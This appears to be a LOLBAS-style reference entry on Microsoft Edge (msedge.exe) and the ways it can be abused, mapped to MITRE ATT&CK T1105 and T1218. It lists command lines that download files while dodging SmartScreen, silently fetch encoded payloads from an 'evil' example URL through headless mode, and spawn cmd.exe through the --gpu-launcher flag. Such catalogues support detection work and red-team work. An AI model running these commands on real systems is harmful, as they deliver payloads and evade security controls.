.. /Msedge.exe
Microsoft Edge browser
Paths:
- c:\Program Files\Microsoft\Edge\Application\msedge.exe
- c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Resources:
Download
Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
msedge.exe https://example.com/file.exe.txt
Usecase: Download file from the internet
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1105
Edge will silently download the file. File extension should be .html and binaries should be encoded.
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "http://example.com/evil.b64.html" > out.b64
Usecase: Download file from the internet
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1105
Execute
Edge spawns cmd.exe as a child process of msedge.exe and executes the ping command
msedge.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c ping google.com &&"
Usecase: Executes a process under a trusted Microsoft signed binary
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218